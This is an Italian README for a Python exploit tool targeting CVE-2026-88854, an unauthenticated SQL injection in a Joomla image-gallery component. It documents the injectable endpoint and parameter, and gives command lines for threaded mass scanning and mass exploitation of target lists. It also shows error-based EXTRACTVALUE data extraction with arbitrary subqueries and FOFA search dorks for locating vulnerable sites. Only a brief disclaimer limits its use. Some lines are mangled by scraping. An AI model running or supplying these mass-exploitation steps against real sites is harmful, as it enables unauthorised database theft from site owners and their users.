
Scanner PoC ed exploit in Python 3 per CVE-2026-88854, un'iniezione SQL non autenticata in OrdaSoft Joomla Gallery, con modalità di controllo di massa e di lettura dati EXTRACTVALUE.
Scanner/exploit PoC in Python 3 per CVE-2026-88854 in OrdaSoft OS Responsive Image Gallery per Joomla.
| Componente | com_osgallery, com_osgallery_light |
| Interessato | 1.0.0 – 6.2.6 |
| Corretto in | 6.2.7+ |
| CVSS 4.0 | 9.3 (Critico) |
| Autenticazione | Nessuna (mod_osgallery_search pubblico) |
| CWE | CWE-89 |
showSearchResult() / showSearchResultAjax() leggono textsearch / searchText tramite $input->getVar(), che non applica un'adeguata escape SQL. Il valore viene concatenato in una clausola LIKE. Visitatori non autenticati possono utilizzare un'iniezione di tipo UNION per leggere il contenuto del database.
Superficie di richiesta tipica:
GET /index.php?option=com_osgallery&task=showSearchResultAjax&format=raw&textsearch=...
Le installazioni legacy possono utilizzare il nome del task searhResult (refuso).
pip install -r requirements.txtpip install -r requirements.txt
# Fingerprint + strict SQLi probe (error / time / EXTRACTVALUE)
python poc.py -u https://target.example --mode check
# Mass check
python poc.py --list targets.example.txt --mode check --threads 30 --quiet
# MySQL error-based read (default subquery: VERSION())
python poc.py -u https://target.example --mode exploit
python poc.py -u https://target.example --mode exploit \
--subquery "SELECT DATABASE()"
# Mass exploit (writes leaks to exploited.txt, not hits.txt)
python poc.py --list targets.example.txt --mode exploit --threads 5 --quiet \
--output exploit_results.jsonl --vuln-list exploited.txt
# Re-tier a prior mass check by manifest version (optional)
python audit_scan.py --jsonl cve_2026_88854_results.jsonl
| File | Contenuto |
|---|---|
cve_2026_88854_results.jsonl | JSON per target |
hits.txt | URL candidati (exploitable_candidate) |
status (check)audit_scan.py)Dopo un check massivo, eseguire audit_scan.py per riscaricare i manifest dell'amministratore e suddividere i target:
La versione della gallery viene letta dall'elemento <version> in administrator/components/com_osgallery/osgallery.xml, non dall'attributo extension version= di Joomla.
EXTRACTVALUE error-based di MySQL; MariaDB/Postgres, errori disabilitati o WAF possono non produrre alcun leak anche quando la CVE è applicabile.https://host/site).app="Joomla" && body="com_osgallery"
body="/images/com_osgallery/"
.
├── poc.py
├── audit_scan.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
Le liste di target locali e gli artefatti di esecuzione (list.txt, fofa*.csv, *.jsonl, hits*.txt, …) sono in .gitignore e non devono essere committati.
Solo per test di sicurezza autorizzati. Sei responsabile del rispetto delle leggi applicabili e delle regole del programma.
| Opzione | Descrizione |
|---|
-u, --url | URL base di un singolo target (installazioni in sottodirectory: includere il percorso) |
--list | File con la lista dei target (un URL per riga) |
--mode | check o exploit |
--subquery | SQL all'interno di EXTRACTVALUE (modalità exploit, predefinito SELECT VERSION()) |
--threads, -j | Concorrenza massiva (predefinito 20) |
--timeout | Timeout HTTP in secondi (predefinito 20) |
--proxy | URL del proxy HTTP(S) |
--output | Risultati JSONL (predefinito cve_2026_88854_results.jsonl) |
--vuln-list | Check → hits.txt; exploit → exploited.txt |
--quiet, -q | Meno output di avanzamento |
| Stato | Significato |
|---|
sqli_confirmed | SQLi basata su errori/tempi o leak EXTRACTVALUE verificato |
likely_vulnerable_version | Versione manifest ≤ 6.2.6 + endpoint di ricerca |
likely_component | Gallery rilevata, versione sconosciuta |
boolean_inconclusive | Solo differenza nella lunghezza della risposta (spesso WAF); non conteggiata come confermata |
patched_version | Versione manifest > 6.2.6 |
component_no_search_endpoint | Componente presente, task di ricerca non raggiungibile |
no_component | com_osgallery non rilevato |
| File | Contenuto |
|---|
hits_version_lte_626.txt | Versione gallery dal manifest ≤ 6.2.6 |
hits_component_endpoint.txt | Gallery + endpoint, versione non leggibile |
hits_patched.txt | Manifest > 6.2.6 |
fofa_stale.txt | Nessun componente (riga FOFA obsoleta) |
cve_2026_88854_audit.jsonl | JSONL arricchito |